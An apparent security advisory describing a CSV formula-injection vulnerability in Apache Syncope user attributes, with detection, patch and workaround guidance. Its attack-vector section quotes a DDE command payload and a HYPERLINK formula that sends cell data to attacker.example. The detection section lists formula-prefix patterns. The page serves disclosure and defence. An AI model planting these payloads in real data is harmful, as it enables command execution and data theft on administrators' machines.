CVE-2026-73195 Overview
CVE-2026-73195 is an Improper Encoding or Escaping of Output vulnerability [CWE-116] in Apache Syncope. Authenticated users can store a spreadsheet formula payload inside one of their own plain attributes. When an administrator includes those users in a CSV export, the resulting file carries the payload. Opening the file in a spreadsheet application executes the formula on the reviewer's workstation. This is a CSV injection (formula injection) issue affecting Apache Syncope versions 3.0.0-M0 through 3.0.16, 4.0.0-M0 through 4.0.7, and 4.1.0-M0 through 4.1.2.
Critical Impact
Attacker-supplied spreadsheet formulas execute on the machine of any administrator or operator who opens an exported CSV, enabling command execution, data exfiltration, or credential theft in downstream tooling.
Affected Products
- Apache Syncope 3.0.0-M0 through 3.0.16
- Apache Syncope 4.0.0-M0 through 4.0.7
- Apache Syncope 4.1.0-M0 through 4.1.2
Discovery Timeline
- 2026-09-14 - CVE-2026-73195 published to NVD
- 2026-09-14 - Apache Software Foundation advisory posted to the Apache Mailing List Thread and OpenWall OSS-Security Update
- 2026-09-14 - Last updated in NVD database
Technical Details for CVE-2026-73195
Vulnerability Analysis
Apache Syncope allows authenticated users to write plain attribute values on their own account. The application stores these values verbatim and re-emits them when generating CSV exports of user data. Because Syncope does not neutralize characters that spreadsheet applications interpret as formula prefixes, the exported CSV becomes an execution vector. The impact shifts from the Syncope server to the workstation of the operator who opens the file, most often an administrator with elevated privileges elsewhere in the environment.
Root Cause
The root cause is missing output encoding in the CSV export routine, classified under [CWE-116] Improper Encoding or Escaping of Output. Spreadsheet applications such as Microsoft Excel and LibreOffice Calc treat cells beginning with =, +, -, @, tab, or carriage return as formulas. Syncope writes attribute values into cells without prefixing untrusted content with a neutralizing character or wrapping it in quotes that would prevent formula evaluation.
Attack Vector
An authenticated user with permission to edit their own profile stores a payload such as =cmd|'/c calc'!A1 or =HYPERLINK("https://attacker.example/?d="&A1,"click") in a text attribute. An administrator later runs a CSV export that includes that account. When the administrator opens the CSV in a spreadsheet client, the formula executes with the privileges of the local user, permitting command execution through DDE, data exfiltration through URL-based functions, or credential harvesting through crafted external links.
No exploit code is required beyond the payload string itself. Refer to the Apache Mailing List Thread for the vendor's technical description.
Detection Methods for CVE-2026-73195
Indicators of Compromise
- Plain attribute values in the Syncope database that begin with =, +, -, or @, particularly when combined with function names such as cmd, HYPERLINK, WEBSERVICE, or IMPORTXML.
- CSV export files whose cells contain formula prefixes referencing external URLs or local command interpreters.
- Endpoint telemetry showing excel.exe, soffice.bin, or similar spreadsheet processes spawning cmd.exe, powershell.exe, or making outbound HTTP requests shortly after opening an exported file.
Detection Strategies
- Query the Syncope datastore for attribute values matching the regular expression ^[=+\-@\t\r] and review flagged accounts before running exports.
- Inspect generated CSV files with a preprocessor that flags cells containing formula prefixes prior to distribution.
- Correlate CSV export events in Syncope audit logs with subsequent process-creation events on administrator workstations.
Monitoring Recommendations
- Enable and forward Apache Syncope audit logs covering user attribute modifications and CSV export operations.
- Monitor process lineage where spreadsheet applications are the parent of shells, script interpreters, or network utilities.
- Alert on outbound DNS or HTTP requests originating from spreadsheet processes on workstations used by identity administrators.
How to Mitigate CVE-2026-73195
Immediate Actions Required
- Upgrade Apache Syncope to version 4.0.8 or 4.1.3, which contain the vendor fix.
- Pause CSV export workflows for user data until the upgrade is complete, or process exports only in sanitized viewers.
- Audit existing user plain attributes for formula-prefixed values and remediate any accounts that contain them.
Patch Information
Apache Syncope 4.0.8 and 4.1.3 remediate CVE-2026-73195 by encoding attribute values during CSV export. Users on the 3.0.x branch (through 3.0.16) should consult the Apache Mailing List Thread and OpenWall OSS-Security Update for supported upgrade paths.
Workarounds
- Enforce server-side input validation that rejects plain attribute values beginning with =, +, -, @, tab, or carriage return.
- Post-process CSV exports to prefix any cell starting with a formula character with a single quote (') or wrap the value in double quotes with an escaped leading character.
- Distribute user data in formats that do not evaluate formulas, such as JSON or XLSX with cells explicitly typed as text, when a spreadsheet view is required.
- Configure spreadsheet clients on administrator workstations to disable Dynamic Data Exchange (DDE) and external content by default.
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
